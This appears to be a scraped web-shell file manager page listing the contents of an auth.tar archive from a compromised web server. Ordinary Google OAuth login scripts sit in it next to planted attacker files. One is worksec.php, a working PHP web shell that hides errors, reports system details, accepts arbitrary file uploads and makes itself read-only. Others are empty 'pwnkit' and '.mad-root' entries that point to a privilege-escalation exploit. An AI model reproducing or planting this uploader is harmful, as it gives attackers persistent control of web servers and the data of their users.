File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/auth.tar
Back
worksec.php 0000644 00000002073 15251762710 0006742 0 ustar 00 <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> google-callback.php 0000604 00000003475 15251762710 0010276 0 ustar 00 <?php require dirname(__DIR__).'/includes/bootstrap.php'; if(!hash_equals($_SESSION['oauth_state']??'',$_GET['state']??''))exit('Invalid OAuth state.'); $post=http_build_query(['code'=>$_GET['code']??'','client_id'=>$config['google']['client_id'],'client_secret'=>$config['google']['client_secret'],'redirect_uri'=>$config['google']['redirect_uri'],'grant_type'=>'authorization_code']);$ch=curl_init('https://oauth2.googleapis.com/token');curl_setopt_array($ch,[CURLOPT_POST=>true,CURLOPT_RETURNTRANSFER=>true,CURLOPT_POSTFIELDS=>$post]);$token=json_decode(curl_exec($ch)?:'{}',true);$ch=curl_init('https://openidconnect.googleapis.com/v1/userinfo');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>['Authorization: Bearer '.($token['access_token']??'')]]);$g=json_decode(curl_exec($ch)?:'{}',true);if(empty($g['email']))exit('Google login failed.'); $pdo->beginTransaction();$s=$pdo->prepare('SELECT * FROM users WHERE email=?');$s->execute([strtolower($g['email'])]);$u=$s->fetch();if(!$u){$id=bin2hex(random_bytes(16));$pdo->prepare('INSERT INTO users(id,email,name,avatar_url,google_id) VALUES(?,?,?,?,?)')->execute([$id,strtolower($g['email']),$g['name']??'',$g['picture']??'',$g['sub']??'']);$s->execute([strtolower($g['email'])]);$u=$s->fetch();}$guestToken=$_COOKIE['bvx_guest']??'';if($guestToken){$q=$pdo->prepare('SELECT id FROM guest_sessions WHERE token_hash=?');$q->execute([hash('sha256',$guestToken)]);if($guest=$q->fetch()){$pdo->prepare('UPDATE conversations SET user_id=?,guest_id=NULL WHERE guest_id=?')->execute([$u['id'],$guest['id']]);$pdo->prepare('UPDATE guest_sessions SET converted_user_id=? WHERE id=?')->execute([$u['id'],$guest['id']]);}}$pdo->commit();$_SESSION['user']=['id'=>$u['id'],'email'=>$u['email'],'name'=>$u['name'],'role'=>$u['role'],'plan'=>$u['plan']];header('Location: ../index.php'); pwnkit 0000755 00000000000 15251762710 0006002 0 ustar 00 .mad-root 0000644 00000000000 15251762710 0006263 0 ustar 00 google.php 0000604 00000001026 15251762710 0006532 0 ustar 00 <?php require dirname(__DIR__).'/includes/bootstrap.php';if(empty($config['google']['client_id']))exit('Google login is not configured. Add the OAuth credentials in config.php.');$_SESSION['oauth_state']=bin2hex(random_bytes(20));$q=http_build_query(['client_id'=>$config['google']['client_id'],'redirect_uri'=>$config['google']['redirect_uri'],'response_type'=>'code','scope'=>'openid email profile','state'=>$_SESSION['oauth_state'],'prompt'=>'select_account']);header('Location: https://accounts.google.com/o/oauth2/v2/auth?'.$q); adminer.php 0000644 00000000000 15251762710 0006670 0 ustar 00
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings